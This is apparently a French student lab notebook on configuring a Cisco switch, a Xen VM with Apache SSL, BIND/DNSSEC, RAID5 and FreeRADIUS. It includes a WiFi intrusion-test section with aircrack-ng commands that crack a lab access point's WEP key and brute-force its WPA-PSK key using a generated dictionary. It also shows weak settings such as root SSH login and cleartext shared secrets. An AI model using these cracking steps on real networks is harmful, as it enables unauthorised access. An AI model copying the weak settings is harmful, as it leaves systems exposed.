Cahier groupe n°4
Sommaire
Cahier des charges de la tâche particulière
Présentation de la tâche particulière
La tâche particulière que nous devons effectuer est de configurer le commutateur Cisco 6009 présent en salle E304. Nous devons dans un premier temps de les mettre à jour de CatOS vers IOS, pour pouvoir dans un second temps mettre en place les différents VLAN. Cette tâche particulière est effectuée avec le groupe n°3 qui s'occupera du commutateur présent dans la salle voisine E306.
Matériel utilisé pour la tâche particulière
- Commutateur Cisco 6009
- Un ordinateur muni d'un port série pour la configuration
- Un câble reliant le commutateur à ce port série
Suivi de l'avancement du TP
Partie commutateur
Semaine 1 (01/10/2015)
- Découverte des commutateurs Cisco 6009 présents en E304 et E306
- Le commutateur possède deux modules constitués d'une carte mère appelée carte superviseur et une carte fille qui est la carte routeur.
- Ces cartes possèdent toutes les deux leurs propres mémoires flash à savoir sup-bootflash pour le superviseur et bootflash pour la carte fille.
- On peut également insérer une carte flash de 20Mo dans le module
Initialement, ces modules fonctionnent sous CatOS pour la plupart d'entre eux. L'idée est de migrer tout les modules vers des systèmes d'exploitation de type IOS (le seul système utilisé aujourd'hui par Cisco).
- Echange d'un superviseur entre les deux commutateurs afin d'avoir sur chacun d'entre eux un superviseur sous IOS et un autre sous CatOS
- Un des superviseurs en E304 censé fonctionner sous CatOS ne démarre pas correctement
- On décide donc d'utiliser une carte flash formatée sous CatOS grâce à l'autre commutateur présent dans la salle voisine. On y copie également un système CatOS pour le superviseur et un boostrap CatOS
Pour la prochaine séance, l'objectif est d'utiliser cette carte pour booter le 2e module en CatOS.
Semaine 2 (08/10/2015)
- Le premier module fonctionne correctement sous IOS
- Problème de la semaine précédente : le 2e module refuse de booter, même sous le CatOS initialement présent.
- Les données de la carte ont été supprimées, on ne peut les récupérer car tous les autres modules tournent actuellement sou IOS.
- Il faut trouver une solution pour booter le commutateur sous CatOS d'une autre façon
Semaine 3 (15/10/2015)
- On cherche une solution pour copier un fichier sur la bootfalsh du module qui ne fonctionne pas :
- xmodem, ymodem, zmodem3
- CuteCom
- Un CatOS, puis un IOS a pu être installé sur le superviseur défectueux depuis une carte mémoire flash. On veut que le système démarre sur une image de IOS. On modifie alors le "boot system" par la commande configure terminal :
Router#config terminal Router(config)#boot system flash sup-bootflash:c6sup11-js-mz.121-27b.E1.bin //On quitte le mode configuration et on sauvegarde les modifications Router#write
- On se connecte sur le rommon et on modifie le mode de démarrage lors de la mise sous-tension par la commande confreg. Ainsi, le système ne bootera plus sur le ROM Monitor mais sur l'image de l'OS configurée précédemment.
- Pour la prochaine fois, il suffira de brancher les deux superviseurs, de formater en IOS le bootflash et sup-bootflash du superviseur qui était défectueux (slave), et d'y copier les fichiers binaires correspondants depuis l'autre superviseur (master).
La configuration réseau du commutateur se déroule en 3 étapes.
Dans un premier temps, on configure les liaisons trunk. Il s'agit ici de la liaison qui relie le commutateur au routeur en E304, sur l'interface 4/1, et la liaison câble qui relie le commutateur au routeur en E306 sur l'interface 2/2. On entre donc les commandes ci-dessous :
conf t int Gi4/1 switchport switchport mode trunk switchport trunk allowed vlan 1,11-20,110,130 no shut exit
int Gi2/2 switchport switchport trunk encapsulation dot1q switchport mode trunk switchport trunk allowed vlan 11-20,110,130 no shut exit
interface GigabitEthernet4/10 switchport switchport mode trunk switchport trunk allowed vlan 11-20,110,130 exit
Nous avons ensuite créé les VLAN 11-20, 110 et 130 de cette façon :
conf t vlan 11 name vlan11 exit
On leur attribue ensuite un port physique du commutateur :
int Gi4/11 switchport switchport access vlan 11 no shut exit
On obtient donc le schéma physique suivant :
- VLAN11 : Gigabit 4/11
- VLAN12 : Gigabit 4/12
- VLAN13 : Gigabit 4/13
- VLAN14 : Gigabit 4/14
- VLAN15 : Gigabit 4/15
- VLAN16 : Gigabit 4/16
- VLAN17 : Gigabit 4/17
- VLAN18 : Gigabit 4/18
- VLAN19 : Gigabit 4/19
- VLAN20 : Gigabit 4/20
- VLAN 110 : Gigabit 5/1
Semaine 9 (26/11/2015)
Pour pouvoir ajouter la borne wifi au commutateur, on rajoute le vlan 1 dans l'interface 4/10 :
interface GigabitEthernet4/10 switchport switchport mode trunk switchport trunk allowed vlan 1, 11-20,110,130 exit
En mode trunk pour que la borne ait accès à tous les vlan. Le vlan est configuré de cette facon :
Internet address is 10.10.10.1/24 Broadcast address is 255.255.255.255
VM xen
Création de la machine
Semaine 3 (15/10/2015)
En parallèle, on crée notre machine virtuelle Xen sur Cordouan : On achète un nom de domaine sur Gandi : zegbicho.lol
- On se connecte en ssh sur cordouan :
ssh root@cordouan.insecserv.deule.net
xen-create-image --hostname=KARMELIET --dist=jessie --dir=/usr/local/xen --gateway=193.48.57.174 --ip=193.48.57.164
- On regarde l'était d'avancement de la création et on récupère notre mot de passe root dans le fichier : KARMELIET.log
tail -f /var/log/xen-tools/KARMELIET.log
- On modifie le fichier de conf KARMELIET.cfg :
- bridge=IMA5sc
- on retire l'IP
- mémoire à 512M
Semaine 4 (22/10/2015)
- On lance la VM xen:
xl create /etc/xen/KARMELIET.cfg
- On se connecte sur la VM xen :
xl console KARMELIET
- Activation l'IPv4 packet forwarding en de-commentant la ligne appropriée dans le fichier /etc/sysctl.conf
- On vérifie le fichier /etc/network/interfaces
- Mises à jour :
apt-get update apt-get upgrade
On ajoute le serveur apache, le serveur DNS et SSH:
apt-get install openssh apt-get install bind9
On active la possibilité de se connecter en SSH en tant que root en modifiant le fichier de config /etc/ssh/sshd_config :
PermitRootLogin yes
Configuration du serveur apache et installation du certificat SSL
Pour activer le certificat SSL, nous devons à la fois manipuler sur notre machine Xen et sur le site gandi. Nous nous sommes d'ailleurs aidés des tutoriels gandi pour réaliser cette tâche. Nous certifions les domaines www.zegbicho.lol et zegbicho.lol. Nous avons tout d'abord besoin de clés, on génère donc le premier fichier .csr à fournir à gandi avec la commande :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout zegbicho.lol.key -out zegbicho.lol.csr
Cette commande nous a donc généré deux fichier : un fichier .key qui correspond à notre clé privée et un .csr ( clé publique) que nous devons fournir à gandi. Ce dernier nous retourne alors un .crt, nous supprimons aors la .crs dont nous n'avons plus besoin. Nous décidons de les ranger dans des dossier situés dans le dossier /etc/ssl/ de notre machine xen :
- Le fichier .crt dans /etc/ssl/certs/
- le fichier .key dans /etc/ssl/private/
Nous allons à présent suivre le tutoriel gandi : https://wiki.gandi.net/fr/hosting/using-linux/tutorials/ubuntu/ssl
On active le module ssl d'apache :
a2enmod ssl
Puis on fait en sorte qu'apache écoute sur le port 443, on édite donc le fichier de configuration /etc/apache2/ports.conf et on ajoute:
<IfModule mod_ssl.c> Listen 443 NameVirtualHost 193.48.57.164:443 </IfModule>
Maintenant nous pouvons obtenir le certificat intermédiare de gandi. Nous récupérons le fichier GandiStandardSSLCA2.pem qui nous plaçons dans le répertoire /etc/ssl/certs/ On effectue le rehash de la structure ssl:
c_rehash /etc/ssl/certs
Pour ajouter un domaine sur notre apache sécurisé, on crée le site dédié www.zegbicho.lol. Enfin, on ajoute un VirtualHost servant le contenu du dossier /var/www/www.zegbicho.lol/ sur le port 443, dans /etc/apache2/sites-available/000-zegbicho.lol-ssl.conf :
NameVirtualHost *:443 <VirtualHost *:443>
ServerName www.zegbicho.lol ServerAlias zegbicho.lol DocumentRoot /var/www/www.zegbicho.lol/ CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on SSLCertificateFile /etc/ssl/certs/zegbicho.lol.crt SSLCertificateKeyFile /etc/ssl/private/zegbicho.lol.key SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem SSLVerifyClient None
</VirtualHost>
Nous vérifions la chaine SSl crée avec la commande :
openssl s_client -connect 193.48.57.164:443
Notre chaine est validée, on passe donc à la configuration du serveur DNS
Serveur DNS et DNSSEC avec Bind
Nous nous aidons ici aussi des tutos gandi
Il s'agira tout d'abord de s'occuper du changement de DNS sur le site gandi. Nous devons au prélable gérer les glue records : https://wiki.gandi.net/fr/domains/management/change-glue On va alors créer un enregistrement Glue :
- Nom du serveur : ns.zegbicho.lol
- Adresse IP : 193.48.57.164
On peut alors modifier les serveurs de nom sur gandi.net : https://wiki.gandi.net/fr/dns/change
- DNS1 : ns.zegbicho.lol
- DNS2 : ns6.gandi.net
On utilise un serveur DNS secondaire appartenant à gandi.
On attends la propagation DNS et on s'attaque à la configuration de BIND : https://wiki.gandi.net/fr/hosting/using-linux/tutorials/ubuntu/bind
Toute cette configuration s'effectue dans le dossier /etc/bind/
On commence par créer un dossier zones dans lequel on créer un fichier de zone /etc/bind/zones/db.zegbicho.lol :
$TTL 604800 @ IN SOA ns.zegbicho.lol. root.zegbicho.lol. ( 2015102001 ; Serial 86400 ; Refresh 3600 ; Retry 2419200 ; Expire 86400 ) ; Negative Cache TTL $include /etc/bind/michay.lol.dnssec/zegbicho.lol-ksk.key $include /etc/bind/michay.lol.dnssec/zegbicho.lol-zsk.key @ IN NS ns.zegbicho.lol. @ IN NS ns6.gandi.net. ns IN A 193.48.57.164 www IN A 193.48.57.164 god IN A 193.48.57.164 ns IN AAAA 2001:660:4401:60bb:216:3eff:fef6:5366 www IN AAAA 2001:660:4401:60bb:216:3eff:fef6:5366 god IN AAAA 2001:660:4401:60bb:216:3eff:fef6:5366 @ IN A 193.48.57.164 @ IN AAAA 2001:660:4401:60bb:216:3eff:fef6:5366
Puis on créer le fichier définissant la zone inverse pour la résolution des adresses IP, 57.48.193.in-addr.arpa :
$TTL 604800 @ IN SOA ns.zegbicho.lol. root.zegbicho.lol. ( 2015102001 ;serial 14400 ;refresh 3600 ;retry 604800 ;expire 10800 ;minimum ) 57.48.193.in-addr.arpa. IN NS ns.zegbicho.lol. 57.48.193.in-addr.arpa. IN NS ns6.gandi.net. 163 IN PTR zegbicho.lol.
On modifie ensuite le fichier de configuration /etc/bind/named.conf.local, dans lequel on ajoute les zones :
zone "zegbicho.lol" { type master; file "/etc/bind/zones/db.zegbicho.lol.signed"; allow-transfer { 217.70.177.40; }; notify yes; };
zone "57.48.193.in-addr.arpa" IN { type master; file "/etc/bind/zones/57.48.193.in-addr.arpa"; allow-transfer { 217.70.177.40; }; };
On finit avec la sécurisation DNS avec DNSSEC: On remarque que le fichier référencé dans /etc/bind/named.conf.local est
/etc/bind/zones/db.zegbicho.lol.signed
Ce fichier est créé après la signature de la zone, mais nous devons tout d'abord réaliser quelques manipulations.
DNSSEC est un protocole de sécurisation du protocole DNS. Celui-ci a pour but de signer les informations publiées grâce à un jeu de clés chiffrées.
On crée donc 2 clés : une Key Signing Key (KSK) et une Zone Signing Key (ZSK). Pour accélérer la génération nous utilisons l'option -r /dev/urandom qui permet d'utiliser une génération pseudo-aléatoire au lieu d'une génération /dev/random par défaut.
Génération de la KSK :
dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE zegbicho.lol
Génération de la ZSK :
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE zegbicho.lol
On obtient donc 4 clés. En effet, à chaque génération de clé, on obtient une clé publique et une clé privée. Pour s'y retrouver, on renomme ces clés et on les place dans un dossier qu'on créer : /etc/bind/zegbicho.lol.dnssec
Ces clés (les deux clés publiques) sont référées dans le fichier de zone db.zegbicho.lol :
$include /etc/bind/michay.lol.dnssec/zegbicho.lol-ksk.key $include /etc/bind/michay.lol.dnssec/zegbicho.lol-zsk.key
On va ensuite sur gandi.net dans la rubrique "gérer DNSSEC" et on leur fourni les deux clés publiques KSK et ZSK. Il peut alors les propager.
Finalement, on signe la zone avec la commande suivante :
dnssec-signzone -o zegbicho.lol -k zegbicho.lol.dnssec/zegbicho.lol-ksk zones/db.zegbicho.lol zegbicho.lol.dnssec/zegbicho.lol-zsk
Cette commande va créer le fichier /etc/bind/zones/db.zegbicho.lol.signed qu'on réfère dans le fichier de configuration /etc/bind/named.conf.local
On finit alors par créer et éditer le fichier de cofiguration des options : /etc/bind/named.conf.options :
options { dnssec enable yes; dnssec-validation yes; dnssec-lookaside auto; listen-on-v6 {any;}; };
Vérification de la fonctionnalité de notre site
On entre l'URL zegbicho.lol, qui est automatiquement redirigée vers https://zegbicho.lol
On remarque que le certificat est valide.
La page est uniquement accessible en https car nous avons modifié le fichier de confguration etc/apache2/sites-available/000-default.conf:
<VirtualHost *:80> ..... Redirect permanent / https://zegbicho.lol .... </VirtualHost>
On test également notre configuration avec l'outil DNSSEC de l'outil https://www.zonemaster.fr/ et on remarque que le DNSSEC est validé/actif.
Le site web réalisé est donc sécurisé !
Wifi
Tests d'intrusion par cassage de clé WEP
Pour ce faire, on passe l'interface Wifi en mode monitor :
airmon-ng start wlan0
On affiche ensuite le trafic Wifi visible à l'aide de la commande :
airodump-ng mon0
Une fois notre point d'accès repéré, on procède à un échange de données avec le point d'accès qui nous intéresse (cracotte04) :
airodump-ng --essid cracotte04 --ch 7 --write out mon0
En parallèle de ce processus, on peut lancer le cassage de la clé WEP avec la commande :
aircrack-ng out-01.cap
Après quelques minutes d'attente (soit env. 66249 IVs), on obtient enfin notre clé :
KEY FOUND! [ 55:55:55:55:55:55:55:55:55:55:55:11:11 ]
Wifi : Cassage de clé WPA-PSK par force brute
Pour craquer ce type de clé, il faut trouver un moyen un peu plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant cent millions de clés (tous les nombres à 8 chiffres : 00000000 à 99999999). Nous avons pour cela créé un petit code C :
#include <stdio.h> #include <stdlib.h> int main(){ int i=0; FILE* dico = fopen("dictionnaire.txt","w+"); for(i=0;i<=99999999;i++){ fprintf(dico, "%08d\n", i); } fclose(dico); return 0; }
On passe l'interface Wifi en mode monitor :
airmon-ng start wlan0
On affiche ensuite le trafic Wifi visible à l'aide de la commande :
airodump-ng mon0
Une fois notre point d'accès repéré, on procède à un échange de données avec le point d'accès qui nous intéresse (cracotte04) :
airodump-ng --essid cracotte04 --ch 12 --write crackage_wpa-psk.txt mon0
On peut ensuite lancer le cassage de la clé WPA-PSK en référant notre dictionnaire créé précédemment avec la commande :
aircrack-ng -w dictionnaire.txt crackage_wpa-psk.txt-02.cap
Le test des clés se fait à une vitesse moyenne de 3700 clés par seconde.
Après quelques minutes d'attente , on obtient enfin notre clé :
Sécurisation des données
- On crée les trois partitions LVM de 1Go :
lvcreate -L 1G -n /dev/virtual/ima5-karmeliet-raid1 -v lvcreate -L 1G -n /dev/virtual/ima5-karmeliet-raid2 -v lvcreate -L 1G -n /dev/virtual/ima5-karmeliet-raid3 -v
- On ajoute les partitions dans le fichier de configuration :
disk = [ 'file:/usr/local/xen/domains/levrette/disk.img,xvda2,w', 'file:/usr/local/xen/domains/levrette/swap.img,xvda1,w', 'phy:/dev/virtual/ima5-karmeliet-home,xvdc,w', 'phy:/dev/virtual/ima5-karmeliet-var,xvdb,w', 'phy:/dev/virtual/ima5-karmeliet-raid1,xvdd,w', 'phy:/dev/virtual/ima5-karmeliet-raid2,xvde,w', 'phy:/dev/virtual/ima5-karmeliet-raid3,xvdf,w', ]
- Puis, on crée le RAID5 logiciel à l'aide de la commande:
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf
- Pour vérifier que notre md0 a été correctement créé, on exécute la commande:
cat /proc/mdstat
On obtient :
Personalities : [raid6] [raid5] [raid4] md0 : active raid5 xvdf[2] xvde[1] xvdd[0] 2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU] unused devices: <none>
- Et pour vérifier notre RAID5 logiciel avec les trois partitions :
mdadm --detail /dev/md0
Ce qui donne :
Version : 1.2 Creation Time : Thu Nov 26 13:40:21 2015 Raid Level : raid5 Array Size : 2095104 (2046.34 MiB 2145.39 MB) Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB) Raid Devices : 3 Total Devices : 3 Persistence : Superblock is persistent Update Time : Thu Nov 26 13:49:20 2015 State : clean Active Devices : 3 Working Devices : 3 Failed Devices : 0 Spare Devices : 0 Layout : left-symmetric Chunk Size : 512K Name : KARMELIET:0 (local to host KARMELIET) UUID : 4bb46fbe:6292cc6b:5fdccfcc:a4a94ae3 Events : 2 Number Major Minor RaidDevice State 0 202 48 0 active sync /dev/xvdd 1 202 64 1 active sync /dev/xvde 2 202 80 2 active sync /dev/xvdf
Après avoir redémarré la VM, on remarque que le volume nouvellement créé nommé md0 a été remplacé par md127.
Après avoir supprimé une partition, on refait la commande :
mdadm --detail /dev/md127
Et on obtient :
Version : 1.2 Raid Level : raid0 Total Devices : 2 Persistence : Superblock is persistent State : inactive Name : KARMELIET:0 (local to host KARMELIET) UUID : 4bb46fbe:6292cc6b:5fdccfcc:a4a94ae3 Events : 2 Number Major Minor RaidDevice - 202 48 - /dev/xvdd - 202 64 - /dev/xvde
On vérifie le volume md127 :
cat /proc/mdstat
On a :
Personalities : md127 : inactive xvde[1](S) xvdd[0](S) 2095104 blocks super 1.2 unused devices: <none>
Authentification et serveur RADIUS
Nous commençons par la configuration d'un serveur FreeRadius sur notre VM pour sécuriser le WiFi par WPA2-EAP. On travaille dans le dossier :
apt-get install freeradius cd /etc/freeradius
Il nous fat rajouter un nouvel utilisateur qui nous servira pour authentification sur le réseau WiFi. Pour cela, on rajoute une ligne dans le fichier users :
zegbicho Cleartext-password := "ima15"
On édite ensuite le fichier client.conf et on y ajoute :
client E304 { ipaddr = 10.10.10.1 netmask = 32 secret = ima15 } client E306 { ipaddr = 10.10.10.2 netmask = 32 secret = ima15 } client VLAN14 { ipaddr = 172.20.14.0 netmask = 24 secret = ima15 }
On configure aussi le fichier eap.conf pour utiliser le PEAP-MSCHAPv2. On édite donc ce fichier et on change le type de méthode :
- default_eap_type = peap
- default_eap_type = mschapv2
eap { default_eap_type = peap peap { default_eap_type = mschapv2 } }